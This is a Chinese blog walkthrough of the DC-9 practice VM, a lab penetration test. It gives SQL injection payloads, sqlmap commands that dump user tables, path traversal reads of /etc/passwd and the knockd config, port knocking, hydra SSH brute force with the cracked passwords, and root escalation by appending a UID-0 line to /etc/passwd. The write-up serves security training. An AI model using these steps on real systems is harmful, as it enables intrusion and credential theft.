DC-9靶机详细渗透过程

1.靶机部署

kali安装:https://blog.csdn.net/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载: https://www.five86.com/downloads/DC-9.zip
解压后得到一个.ova的文件:
image.png
使用VMware打开该文件:
image.png
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
image.png
导入成功,打开虚拟机,到此虚拟机部署完成!
image.png
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。

2.信息收集

2.1 扫描靶机IP

image.png

2.2 探测开放端口

image.png

2.3 其他信息收集

image.png

2.4 信息收集总结

  • IP:192.168.11.144
  • 开放端口:22 80
  • 网站服务器:Apache
  • 操作系统:Debian

3.渗透过程

3.1 寻找漏洞

对网站进行敏感目录扫描之后,未发现可利用文件
网站有一个搜索框,可以搜索用户信息
image.png
测试一下有无SQL注入漏洞:

1' and 1=1#
1' and 1=2#

image.png
image.png
发现两条语句都没有回显!
没有回显并不代表不存在SQL注入,可能是web服务器屏蔽了回显报错信息,也就是不会报错,这个时候我们就无法判断闭合形式是否为单引号等,只能盲猜一手,而且因为不能报错,也就无法使用order by去判断查询字段长度,但还可以使用union select来判断。

order by:排序
union:合并两条sql语句

3.2 验证漏洞是否存在

首先盲猜为单引号闭合:
当查询6个字段时出现了数据,可以判断这里是存在SQL注入漏洞的。

1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1' union select 1,2,3,4#
1' union select 1,2,3,4,5#
1' union select 1,2,3,4,5,6#

首先解释一下select后面几个数字的意思,1,2,3,4…,这里的几个数字纯粹是凑数的,
凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表。
在sql注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来。
image.png
当然这里可以使用1’ or 1=1#来直接恒等于真,爆出查询语句的内容。也是可以判断这里存在SQL注入漏洞。

1' or 1=1#

image.png3.3 sqlmap数据库爆破

接下来竟然知道这里存在字符型sql注入漏洞,我们使用sqlmap工具来爆出我们所需要的数据库信息:

3.3.1 爆数据库名,由于是POST请求发送数据,所以这里指定–date参数为search

sqlmap -u 'http://192.168.11.144/results.php' --data 'search=1' --dbs --batch

--dbs:列出所有数据库的名称
--batch:自动选择执行过程中出现的询问请求如果存在注入

image.png

3.3.2 爆staff数据库表名

sqlmap -u 'http://192.168.11.144/results.php' --data 'search=1' --dbs --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff --tables --batch

image.png

3.3.3 爆users表的字段名

sqlmap -u 'http://192.168.11.144/results.php' --data 'search=1' --dbs --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff --tables --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff -T Users --columns --batch

image.png

3.3.4 获取字段参数

sqlmap -u 'http://192.168.11.144/results.php' --data 'search=1' --dbs --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff --tables --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff -T Users --columns --batch
sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D Staff -T Users -C "UserID,Username,Password" --dump --batch

image.png

3.3.5 解密密码

md5解密

密码:transorbital1

image.png

3.3.6 使用相同方法爆一下users表里面的信息

sqlmap -u 'http://192.168.11.144/results.php' --data "search=1" -D users -T UserDetails -C username,password,id --dump --batch

image.png

3.4 登录网站

image.png

3.4.1 网站页面上的漏洞

登录网站之后,发现扫描也没有,但是有个提示,“文件不存在”,那么,我们是否能联想到文件包含和文件上传漏洞呢?
image.png
因为网站使用的是Apache服务器,所以我们大胆猜测一下当前目录是在:/var/www/html,所以:

?file=../../../../etc/passwd

image.png
可以看到用户信息:
这几组用户貌似在哪里见过:
image.png
这不是之前sql注入users数据库表里的数据嘛那么是不是可以尝试一下ssh爆破,毕竟数据表里有账号密码,但是,我们在进行信息收集的过程中看到过,这里 ssh 的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd(保证指定端口)的配置文件(/etc/knockd.conf)
image.png

3.4.2 查看防火墙配置

?file=../../../../etc/knockd.conf

发现只有分别去连续访问这三个端口,ssh服务才会打开 7469 8475 9842
image.png
分别对这三个端口进行敲门!
最后在扫描,发现端口开了!

nc 192.168.11.144 7469
nc 192.168.11.144 8475
nc 192.168.11.144 9842

image.png

3.5 爆破

将之前sqlmap爆出来的用户名和密码分别存放到新的文本里,进行爆破:
image.png

hydra -L dc-9-user.txt -P dc-9-passwd.txt 192.168.11.144 ssh

成功爆出三组账号密码:

[22][ssh] host: 192.168.11.144   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.11.144   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.11.144   login: janitor   password: Ilovepeepee

image.png

3.6 二次爆破

得到三组账号和密码之后,分别登录进行信息收集!
最后在janitor账号下发现一个密码字典
image.png
将其复制出来,再进行爆破!

[22][ssh] host: 192.168.11.144   login: fredf   password: B4-Tru3-001

image.png
用得到的用户登录一下试试:
image.png

3.7 提权

查看当前用户有没有可以提权的地方
image.png
在查看权限时,发现一个test路径。运行一下发现test是一个python文件,使用find查找文件所在位置:
image.png
查看文件内容:
image.png
经过查看发现这个py文件的大致内容就是将参数1的内容写入参数2中,接下来尝试进行提权。

3.7.1 使用openssl passwd创建一个新用户和密码

openssl passwd -1 -salt admin admin
$1$admin$1kgWpnZpUx.vTroWPXPIB0

image.png
新建一个文本,写入一串与passwd格式相同的数据,权限不够的话可以移步到tmp目录下

echo 'demon:$1$demon$Mspg7FhbFwGLZ4T2s/qI6/:0:0:root:/bin/bash' >> /tmp/demo

运行脚本将数据写入到/etc/passwd里面

sudo ./test /tmp/demo /etc/passwd

切换到我们写入的用户

su domon

最后提权成功!!!

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小秋LY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值